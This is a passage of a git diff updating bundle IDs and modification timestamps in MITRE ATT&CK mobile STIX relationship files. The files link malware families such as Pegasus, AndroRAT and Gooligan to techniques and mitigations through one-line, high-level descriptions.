-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
diff --git a/mobile-attack/relationship/relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f.json b/mobile-attack/relationship/relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f.json
index a1b2bcd9c5..c48beb8d67 100644
--- a/mobile-attack/relationship/relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f.json
+++ b/mobile-attack/relationship/relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7cf4cafe-1f81-495f-b60d-dcc0bc4c2315",
+    "id": "bundle--18957bab-b804-4f38-9b93-f9483657152b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--980c49f8-d991-4e1f-8feb-6173e3dfca1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT captures SMS messages.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
diff --git a/mobile-attack/relationship/relationship--9adde9d7-4ba0-4e35-93ba-1e85e9eb16bc.json b/mobile-attack/relationship/relationship--9adde9d7-4ba0-4e35-93ba-1e85e9eb16bc.json
index a3b7d98cb7..7b55865095 100644
--- a/mobile-attack/relationship/relationship--9adde9d7-4ba0-4e35-93ba-1e85e9eb16bc.json
+++ b/mobile-attack/relationship/relationship--9adde9d7-4ba0-4e35-93ba-1e85e9eb16bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae65e275-2135-4409-9f70-3e9f9c95cf77",
+    "id": "bundle--f8b66f1d-86e0-4190-9808-f0d2dd51e467",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9adde9d7-4ba0-4e35-93ba-1e85e9eb16bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc",
diff --git a/mobile-attack/relationship/relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708.json b/mobile-attack/relationship/relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708.json
index 8ef6988205..749ffa4fa8 100644
--- a/mobile-attack/relationship/relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708.json
+++ b/mobile-attack/relationship/relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f11329d3-d225-4c2a-9e3d-b56f86b96b2a",
+    "id": "bundle--054b7ea1-217c-44a2-b3ad-c8f72bcb99d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c7c302a-d5ba-4fc9-a4e5-e865fd7fb708",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "As reported by KasperskyAndroid/Chuli.A malicious application sent to activist groups stole geo-location data.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab.json b/mobile-attack/relationship/relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab.json
index e9a33010ea..6032ab819d 100644
--- a/mobile-attack/relationship/relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab.json
+++ b/mobile-attack/relationship/relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ba84193-e4b7-40d8-aaf3-1c599f9af16b",
+    "id": "bundle--fab3ea09-6c18-4ef2-b0cb-0683d0c9f279",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9d7ac1b2-3fa9-4236-b72d-5565f0c66eab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Twitoor uses Twitter for command and control.",
             "source_ref": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c",
diff --git a/mobile-attack/relationship/relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63.json b/mobile-attack/relationship/relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63.json
index 913e8767d9..377c1ae543 100644
--- a/mobile-attack/relationship/relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63.json
+++ b/mobile-attack/relationship/relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b901e51-ef55-4405-9cba-de2b9886200f",
+    "id": "bundle--f9c8c157-f5e7-484c-b8f3-d26f51e85baf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e3921a8-a9e1-48c4-9b61-ff190c104f63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[m]onitor clipboard content\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15.json b/mobile-attack/relationship/relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15.json
index f26e76c4e5..c1e9bb5950 100644
--- a/mobile-attack/relationship/relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15.json
+++ b/mobile-attack/relationship/relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22a2c786-59d7-464b-811c-3325a27fb5df",
+    "id": "bundle--65c6b223-878e-46ee-84f8-4dee096c2d51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e66ec3b-cdd6-461c-bd84-e75316818e15",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "X-Agent was believed to have been used to obtain \"gross locational data\" of Ukrainian artillery forces.",
             "source_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
diff --git a/mobile-attack/relationship/relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8.json b/mobile-attack/relationship/relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8.json
index f40e89e588..61db18bb71 100644
--- a/mobile-attack/relationship/relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8.json
+++ b/mobile-attack/relationship/relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--433c9589-da78-43c9-9354-ccbbbbe6bc4d",
+    "id": "bundle--0abc88c8-4ee2-4df1-8c7f-f7d18dff75b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e77b80d-4981-4908-9203-c4e7cea5b5d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus was delivered via an SMS message containing a link to a web site with malicious code.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--9e83607e-2936-4f25-b6d2-c357846840f3.json b/mobile-attack/relationship/relationship--9e83607e-2936-4f25-b6d2-c357846840f3.json
index 5585cbb818..a908f62f05 100644
--- a/mobile-attack/relationship/relationship--9e83607e-2936-4f25-b6d2-c357846840f3.json
+++ b/mobile-attack/relationship/relationship--9e83607e-2936-4f25-b6d2-c357846840f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--348e553a-d67d-4773-8272-307ed1a8ec9b",
+    "id": "bundle--a2471212-a4a2-45f6-9c9b-4d8a8e7a1292",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e83607e-2936-4f25-b6d2-c357846840f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
diff --git a/mobile-attack/relationship/relationship--9f737872-3503-4ef4-b575-ab6037b33a98.json b/mobile-attack/relationship/relationship--9f737872-3503-4ef4-b575-ab6037b33a98.json
index e609337ead..ebdb14829b 100644
--- a/mobile-attack/relationship/relationship--9f737872-3503-4ef4-b575-ab6037b33a98.json
+++ b/mobile-attack/relationship/relationship--9f737872-3503-4ef4-b575-ab6037b33a98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c854b924-e9f0-47f2-bad8-aaa6b28b944a",
+    "id": "bundle--1984efe6-0b71-4aff-af08-2734cdc237de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9f737872-3503-4ef4-b575-ab6037b33a98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"In addition to stealing Apple accounts to buy apps, KeyRaider also has built-in functionality to hold iOS devices for ransom.\"",
             "source_ref": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
diff --git a/mobile-attack/relationship/relationship--a01af4da-0910-4a20-805f-86b3ae1dc046.json b/mobile-attack/relationship/relationship--a01af4da-0910-4a20-805f-86b3ae1dc046.json
index 63f7f38f24..be090e8ae8 100644
--- a/mobile-attack/relationship/relationship--a01af4da-0910-4a20-805f-86b3ae1dc046.json
+++ b/mobile-attack/relationship/relationship--a01af4da-0910-4a20-805f-86b3ae1dc046.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a4f0f76-8471-4449-bb6a-dfeb5dd51612",
+    "id": "bundle--b0b83b17-7c04-4537-9a18-cae0e826a994",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a01af4da-0910-4a20-805f-86b3ae1dc046",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884",
diff --git a/mobile-attack/relationship/relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3.json b/mobile-attack/relationship/relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3.json
index 683e285c5d..25eb793931 100644
--- a/mobile-attack/relationship/relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3.json
+++ b/mobile-attack/relationship/relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4cfe8741-5769-4f55-aee2-9bae2d61cf47",
+    "id": "bundle--40092e8f-a856-48cc-ac25-e3a55de5b0aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a25d58af-dbb3-4025-b91d-898c6adffcb3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan steals \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\"",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
diff --git a/mobile-attack/relationship/relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e.json b/mobile-attack/relationship/relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e.json
index bbfebe9c92..c5043c3c71 100644
--- a/mobile-attack/relationship/relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e.json
+++ b/mobile-attack/relationship/relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3affa4f7-6202-40c6-8f20-f45777f9450e",
+    "id": "bundle--0124650f-4bbc-42b0-b088-ebaedc002fb7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a290a8ca-e650-456c-b33e-03343fe5ea4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus accesses sensitive data in files, for example it \"saves any calls that Skype has previously recorded by reading them out of the Skype database files.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--a4b53160-fdb8-4cab-90cc-ad12ab13a8a0.json b/mobile-attack/relationship/relationship--a4b53160-fdb8-4cab-90cc-ad12ab13a8a0.json
index 35987ca428..8a4e145535 100644
--- a/mobile-attack/relationship/relationship--a4b53160-fdb8-4cab-90cc-ad12ab13a8a0.json
+++ b/mobile-attack/relationship/relationship--a4b53160-fdb8-4cab-90cc-ad12ab13a8a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7cbb17fd-cf1f-4a17-a78a-e815aef86952",
+    "id": "bundle--034d1bd7-c3be-4c25-b383-57468b6145aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a4b53160-fdb8-4cab-90cc-ad12ab13a8a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
diff --git a/mobile-attack/relationship/relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d.json b/mobile-attack/relationship/relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d.json
index 6392af35b6..e435bce8ac 100644
--- a/mobile-attack/relationship/relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d.json
+++ b/mobile-attack/relationship/relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc47eebe-cad7-428a-b281-990fbd66b5e6",
+    "id": "bundle--2f83a3d7-6403-4f4a-bfec-2fdf98ae7f60",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a7b276ac-6f07-4d1f-8d24-dc5682acf62d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses calendar entries.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892.json b/mobile-attack/relationship/relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892.json
index 1889c10b0e..89f4992188 100644
--- a/mobile-attack/relationship/relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892.json
+++ b/mobile-attack/relationship/relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--667b15d5-3508-4aa9-bc32-9fc5a22607d7",
+    "id": "bundle--442d7b83-a70c-4df0-a14f-93644a7d234d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a8079e6a-ef87-4e3b-9f71-cf1ea2360892",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted contact lists.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
diff --git a/mobile-attack/relationship/relationship--a834341f-d909-41e3-adaf-5f3450e4090e.json b/mobile-attack/relationship/relationship--a834341f-d909-41e3-adaf-5f3450e4090e.json
index 4607bd215e..564c5d580d 100644
--- a/mobile-attack/relationship/relationship--a834341f-d909-41e3-adaf-5f3450e4090e.json
+++ b/mobile-attack/relationship/relationship--a834341f-d909-41e3-adaf-5f3450e4090e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f4d106d-c2da-4433-b241-3a9bc44d356d",
+    "id": "bundle--3997fd19-be55-494b-a193-2895efda6fd7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a834341f-d909-41e3-adaf-5f3450e4090e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--e30cc912-7ea1-4683-9219-543b86cbdec9",
diff --git a/mobile-attack/relationship/relationship--a912f528-5218-4e0b-a350-7e9012cccdf3.json b/mobile-attack/relationship/relationship--a912f528-5218-4e0b-a350-7e9012cccdf3.json
index badca62c99..89d979bb2d 100644
--- a/mobile-attack/relationship/relationship--a912f528-5218-4e0b-a350-7e9012cccdf3.json
+++ b/mobile-attack/relationship/relationship--a912f528-5218-4e0b-a350-7e9012cccdf3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59b5a925-120b-45b1-acdd-8db586bc50ba",
+    "id": "bundle--cfa1b9ee-57a1-420c-9339-556e92aa6b35",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a912f528-5218-4e0b-a350-7e9012cccdf3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
diff --git a/mobile-attack/relationship/relationship--aa23a2c6-ed8a-4453-95d1-f9a47e14b0f9.json b/mobile-attack/relationship/relationship--aa23a2c6-ed8a-4453-95d1-f9a47e14b0f9.json
index cbe9d2d7c4..d4da099627 100644
--- a/mobile-attack/relationship/relationship--aa23a2c6-ed8a-4453-95d1-f9a47e14b0f9.json
+++ b/mobile-attack/relationship/relationship--aa23a2c6-ed8a-4453-95d1-f9a47e14b0f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d00694f-5d72-4055-a847-33884c2f5964",
+    "id": "bundle--30cdd64a-066e-4d13-b947-d3cc65b94f16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aa23a2c6-ed8a-4453-95d1-f9a47e14b0f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df",
diff --git a/mobile-attack/relationship/relationship--aa39b402-7ecc-4057-a989-663887e540e7.json b/mobile-attack/relationship/relationship--aa39b402-7ecc-4057-a989-663887e540e7.json
index 3a00bf8b88..a9ebd262cc 100644
--- a/mobile-attack/relationship/relationship--aa39b402-7ecc-4057-a989-663887e540e7.json
+++ b/mobile-attack/relationship/relationship--aa39b402-7ecc-4057-a989-663887e540e7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce7d271e-22fc-49dd-b5d6-72b6353d12bb",
+    "id": "bundle--03c79729-acdf-43ff-b62d-b311f7f2bf00",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aa39b402-7ecc-4057-a989-663887e540e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0",
diff --git a/mobile-attack/relationship/relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a.json b/mobile-attack/relationship/relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a.json
index f9299f3c1e..ba644c2b1e 100644
--- a/mobile-attack/relationship/relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a.json
+++ b/mobile-attack/relationship/relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84bc9ba3-c035-414b-aed5-1766461e9288",
+    "id": "bundle--fa53777f-7344-4d97-9ac4-957733145ffd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aa8e45c2-4276-451b-b1eb-59c396bf720a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan executes Android root exploits.",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
diff --git a/mobile-attack/relationship/relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef.json b/mobile-attack/relationship/relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef.json
index b05f84616e..29601b6265 100644
--- a/mobile-attack/relationship/relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef.json
+++ b/mobile-attack/relationship/relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--57c6fd1c-3f8f-47bd-800f-f875e36f2783",
+    "id": "bundle--c920390a-c210-4be0-bd52-7fccb13f4190",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aaf0ae2f-07ea-479e-8419-e524e23dbaef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881",
diff --git a/mobile-attack/relationship/relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33.json b/mobile-attack/relationship/relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33.json
index 24e78f7a68..39a76fb5a1 100644
--- a/mobile-attack/relationship/relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33.json
+++ b/mobile-attack/relationship/relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5f1b57d-34fa-4bfd-8bf5-44408910bc58",
+    "id": "bundle--f495afba-feb1-4397-8ff7-451911217bad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aaf55dd1-33df-4f02-8025-eaae01f30b33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT collects contact list information.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
diff --git a/mobile-attack/relationship/relationship--abd2e863-4bd3-4686-b2aa-f8a097a41c99.json b/mobile-attack/relationship/relationship--abd2e863-4bd3-4686-b2aa-f8a097a41c99.json
index 0f75c0ac68..d403ccd422 100644
--- a/mobile-attack/relationship/relationship--abd2e863-4bd3-4686-b2aa-f8a097a41c99.json
+++ b/mobile-attack/relationship/relationship--abd2e863-4bd3-4686-b2aa-f8a097a41c99.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ebb42145-f348-4ab0-8bec-0052e868c3bd",
+    "id": "bundle--5fa8e1e7-d377-4193-81da-2c7a10dba28a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--abd2e863-4bd3-4686-b2aa-f8a097a41c99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
diff --git a/mobile-attack/relationship/relationship--ac523dfb-36be-4402-acf2-abe98e183eef.json b/mobile-attack/relationship/relationship--ac523dfb-36be-4402-acf2-abe98e183eef.json
index f48eb73979..df161f9c54 100644
--- a/mobile-attack/relationship/relationship--ac523dfb-36be-4402-acf2-abe98e183eef.json
+++ b/mobile-attack/relationship/relationship--ac523dfb-36be-4402-acf2-abe98e183eef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a450acd2-6bd8-4050-9403-5dad0790ee23",
+    "id": "bundle--e0ca0027-d422-42b3-aab4-c481e4410c26",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac523dfb-36be-4402-acf2-abe98e183eef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad (in July 2016) \"installs more than 50,000 fraudulent apps each day, displays 20 million malicious advertisements, and generates more than $300,000 per month in revenue.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
diff --git a/mobile-attack/relationship/relationship--b104c62f-771c-46c5-afc4-a964a94cea50.json b/mobile-attack/relationship/relationship--b104c62f-771c-46c5-afc4-a964a94cea50.json
index 2981689deb..a595c8948d 100644
--- a/mobile-attack/relationship/relationship--b104c62f-771c-46c5-afc4-a964a94cea50.json
+++ b/mobile-attack/relationship/relationship--b104c62f-771c-46c5-afc4-a964a94cea50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
